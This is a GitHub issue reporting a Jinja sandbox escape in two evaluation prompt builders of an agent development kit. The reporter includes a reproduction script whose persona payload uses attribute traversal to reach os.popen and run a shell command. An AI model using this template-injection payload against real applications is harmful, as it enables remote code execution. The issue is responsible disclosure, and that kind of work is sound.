Skip to content

Sandbox nested persona template rendering in evaluation prompt builders #5265

Closed

Description

@petrmarinec

Summary

Nested persona behavior strings are rendered as Jinja templates during evaluation prompt construction. The affected code paths did not consistently keep that nested rendering inside a SandboxedEnvironment.

Affected code

  • src/google/adk/evaluation/simulation/llm_backed_user_simulator_prompts.py
  • src/google/adk/evaluation/simulation/per_turn_user_simulator_quality_prompts.py

Problem

Both prompt builders support nested rendering of persona behavior fields through render_string_filter.

In llm_backed_user_simulator_prompts.py, the outer prompt used SandboxedEnvironment, but nested string rendering created a new template from the persona string instead of reusing the sandboxed environment.

In per_turn_user_simulator_quality_prompts.py, nested persona rendering followed the same pattern and the outer environment was not sandboxed.

As a result, nested persona strings could evaluate Jinja expressions outside the intended sandbox boundary.

Expected behavior

Nested persona strings should only render through a sandboxed Jinja environment, so supported placeholders such as {{ stop_signal }} still work but unsafe attribute traversal and similar sandbox escapes do not.

Proposed fix

  • Reuse SandboxedEnvironment for nested persona rendering instead of creating a fresh unsandboxed template.
  • Use SandboxedEnvironment in the per-turn evaluator prompt builder as well.
  • Add regression tests that verify:
    • supported nested placeholders still render
    • unsafe nested template expressions are blocked

Validation

I have a PR prepared that:

  • switches both prompt builders to sandboxed nested rendering
  • adds regression tests for allowed interpolation and blocked unsafe access
  • passes tests/unittests/evaluation/simulation in clean Linux Docker
  • confirms in a live adk web eval run that:
    • malicious nested persona templates are blocked with SecurityError
    • safe nested placeholders proceed past prompt rendering into normal model execution

Google OSS VRP #498357322

Activity

  1. added
    eval[Component] This issue is related to evaluation
    on Apr 11, 2026
  2. added theissue type on Apr 11, 2026
  3. llalitkumarrr commented on Apr 14, 2026

    @llalitkumarrr
    Collaborator

    Hello @petrmarinec ,

    To help us better understand the issue, could you please provide the steps to reproduce it? Also, a minimal code would also be very helpful.

  4. added
    request clarification[Status] The maintainer need clarification or more information from the author
    on Apr 14, 2026
  5. petrmarinec commented on Apr 14, 2026

    @petrmarinec
    ContributorAuthor

    Hi @llalitkumarrr. Here is a minimal repro that does not require adk web or an API key.

    Save as repro_ssti.py and run from the repo root:

    PYTHONPATH=src python repro_ssti.py
    from google.adk.evaluation.simulation.llm_backed_user_simulator_prompts import (
        get_llm_backed_user_simulator_prompt,
    )
    from google.adk.evaluation.simulation.per_turn_user_simulator_quality_prompts import (
        get_per_turn_user_simulator_quality_prompt,
    )
    from google.adk.evaluation.simulation.user_simulator_personas import (
        UserBehavior,
        UserPersona,
    )
    
    payload = "{{ cycler.__init__.__globals__.os.popen('echo ADK_SSTI_REPRO').read() }}"
    
    persona = UserPersona(
        id="p",
        description="demo",
        behaviors=[
            UserBehavior(
                name=payload,
                description="demo",
                behavior_instructions=["instruction"],
                violation_rubrics=["rubric"],
            )
        ],
    )
    
    prompt = get_llm_backed_user_simulator_prompt(
        conversation_plan="plan",
        conversation_history="history",
        stop_signal="STOP",
        user_persona=persona,
    )
    print("llm_backed marker:", "ADK_SSTI_REPRO" in prompt)
    
    prompt = get_per_turn_user_simulator_quality_prompt(
        conversation_plan="plan",
        conversation_history="history",
        generated_user_response="response",
        stop_signal="STOP",
        user_persona=persona,
    )
    print("per_turn marker:", "ADK_SSTI_REPRO" in prompt)

    On current main, both lines print True, showing that nested persona template rendering can execute code during prompt construction.

    With PR #5266, the same payload is blocked with jinja2.exceptions.SecurityError. Safe nested placeholders still work, for example name="safe {{ stop_signal }}" renders as safe STOP.

    I also verified locally:

    PYTHONPATH=src python -m pytest \
      tests/unittests/evaluation/simulation/test_llm_backed_user_simulator_prompts.py \
      tests/unittests/evaluation/simulation/test_per_turn_user_simulation_quality_prompts.py -q

    Result: 18 passed.

  6. llalitkumarrr commented on Apr 22, 2026

    @llalitkumarrr
    Collaborator

    Hello @petrmarinec ,

    Thank you for your contribution. Your PR is currently being reviewed. Once all checks pass and the reviewer approves, it will be merged. We appreciate your patience.

  7. added
    needs review[Status] The PR/issue is awaiting review from the maintainer
    and removed
    request clarification[Status] The maintainer need clarification or more information from the author
    on Apr 22, 2026
  8. adk-bot commented on Jun 19, 2026

    @adk-bot
    Collaborator

    Notification: The author has updated the issue description. Maintainers, please review.

  9. gammer24 commented on Jun 19, 2026

    @gammer24

    thank s to you

  10. self-assigned this
    on Aug 6, 2026
  11. GWeale commented on Aug 6, 2026

    @GWeale
    Collaborator

    fixed in v2.4.0, nested persona strings now render through the sandboxed jinja environment in both prompt builders. shout if it still bites you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Labels

eval[Component] This issue is related to evaluationneeds review[Status] The PR/issue is awaiting review from the maintainer

Type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions